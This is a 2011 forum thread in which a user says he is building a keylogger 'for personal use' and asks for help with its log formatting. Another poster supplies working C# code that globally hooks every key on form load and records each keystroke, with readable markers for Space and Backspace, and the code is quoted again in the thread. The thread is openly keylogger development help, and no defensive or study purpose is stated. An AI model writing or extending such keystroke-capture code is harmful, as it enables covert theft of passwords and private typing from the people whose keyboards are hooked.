Post: Globally Hooking Keys
10-19-2011, 04:53 AM #1
Pichu
RIP PICHU.
(adsbygoogle = window.adsbygoogle || []).push({}); Alright, so I am developing a keylogger, (One for personal use...)

What I have right now is the basic setup for a keylogger, I however am running into a problem.

gHook.HookedKeys.Add(Keys.Space);

I have these setup already but I want the space to either appear with the logs as a " " or [Space] to make it more clear as it comes out as a weird small 4size font []. I also want to do the same for if someone presses backspace or alt.

Essentially, when it logs I want it to rename the basic given hooked text to another text, more or less converting this text to that text.

I understand that a way to get past this would simply open up a timer and have it convert the input text from this to that but I see myself running into issues and it taking up more room than is possibly needed. Any help?

gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
foreach (Keys key in Enum.GetValues(typeof(Keys)))
gHook.HookedKeys.Add(Keys.Control);
gHook.HookedKeys.Add(Keys.Space);

This is what I have.
10-19-2011, 03:20 PM #2
Chrom3D
Big Sister
Originally posted by Sublimity View Post
Alright, so I am developing a keylogger, (One for personal use...)

What I have right now is the basic setup for a keylogger, I however am running into a problem.

gHook.HookedKeys.Add(Keys.Space);

I have these setup already but I want the space to either appear with the logs as a " " or [Space] to make it more clear as it comes out as a weird small 4size font []. I also want to do the same for if someone presses backspace or alt.

Essentially, when it logs I want it to rename the basic given hooked text to another text, more or less converting this text to that text.

I understand that a way to get past this would simply open up a timer and have it convert the input text from this to that but I see myself running into issues and it taking up more room than is possibly needed. Any help?

gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
foreach (Keys key in Enum.GetValues(typeof(Keys)))
gHook.HookedKeys.Add(Keys.Control);
gHook.HookedKeys.Add(Keys.Space);

This is what I have.


Not to advertisite, but I do think I know a better site for your question. You already probably know about it, but I can PM you if you want Winky Winky
10-19-2011, 04:50 PM #3
Epic?
Awe-Inspiring
Originally posted by Sublimity View Post
Alright, so I am developing a keylogger, (One for personal use...)

What I have right now is the basic setup for a keylogger, I however am running into a problem.

gHook.HookedKeys.Add(Keys.Space);

I have these setup already but I want the space to either appear with the logs as a " " or [Space] to make it more clear as it comes out as a weird small 4size font []. I also want to do the same for if someone presses backspace or alt.

Essentially, when it logs I want it to rename the basic given hooked text to another text, more or less converting this text to that text.

I understand that a way to get past this would simply open up a timer and have it convert the input text from this to that but I see myself running into issues and it taking up more room than is possibly needed. Any help?

gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
foreach (Keys key in Enum.GetValues(typeof(Keys)))
gHook.HookedKeys.Add(Keys.Control);
gHook.HookedKeys.Add(Keys.Space);

This is what I have.


I don't think GlobalKeyboardHook is part of the .NET framework (or at least I don't see it in the manual).

However, I did find what I think is the same class online...

First, you'd declare gHook outside of any method.
Then, in some sort of load method (like a Form_Load) you'd need to add the KeyEventHandler and all the keys to the HookedKeys list.
Then you'd need to start the hook with gHook.hook().
Lastly, you need to use conditional logic based on e.KeyCode


Like so:

    
GlobalKeyboardHook gHook; // declared outside any method

private void Form1_Load(object sender, EventArgs e) // the form "Load" event
{
gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown); // add the event handler
foreach (Keys key in Enum.GetValues(typeof(Keys))) // loop through each possible key
gHook.HookedKeys.Add(key); // add the key to the list

gHook.hook(); // automatically hook the keyboard on form load
}

System.Text.StringBuilder keystrokes = new System.Text.StringBuilder(); // declare new StringBuilder
public void gHook_KeyDown(object sender, KeyEventArgs e) // the keydown event (fires each time a key is pressed)
{
switch (e.KeyCode) // switch case on e.KeyCode
{
case Keys.Space: // if the Space button is pressed
keystrokes.Append(" ");
break;
case Keys.Back: // if the Backspace button is pressed
keystrokes.Append("[Backspace]");
break;
default: // if any other button is pressed
keystrokes.Append(((char)e.KeyValue).ToString());
break;
}
}


Hope this helps!

The following user thanked Epic? for this useful post:

Pichu
10-19-2011, 10:22 PM #4
Pichu
RIP PICHU.
Originally posted by Epic
I don't think GlobalKeyboardHook is part of the .NET framework (or at least I don't see it in the manual).

However, I did find what I think is the same class online...

First, you'd declare gHook outside of any method.
Then, in some sort of load method (like a Form_Load) you'd need to add the KeyEventHandler and all the keys to the HookedKeys list.
Then you'd need to start the hook with gHook.hook().
Lastly, you need to use conditional logic based on e.KeyCode


Like so:

    
GlobalKeyboardHook gHook; // declared outside any method

private void Form1_Load(object sender, EventArgs e) // the form "Load" event
{
gHook = new GlobalKeyboardHook();
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown); // add the event handler
foreach (Keys key in Enum.GetValues(typeof(Keys))) // loop through each possible key
gHook.HookedKeys.Add(key); // add the key to the list

gHook.hook(); // automatically hook the keyboard on form load
}

System.Text.StringBuilder keystrokes = new System.Text.StringBuilder(); // declare new StringBuilder
public void gHook_KeyDown(object sender, KeyEventArgs e) // the keydown event (fires each time a key is pressed)
{
switch (e.KeyCode) // switch case on e.KeyCode
{
case Keys.Space: // if the Space button is pressed
keystrokes.Append(" ");
break;
case Keys.Back: // if the Backspace button is pressed
keystrokes.Append("[Backspace]");
break;
default: // if any other button is pressed
keystrokes.Append(((char)e.KeyValue).ToString());
break;
}
}


Hope this helps!


Thank you, and it is not. :P

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo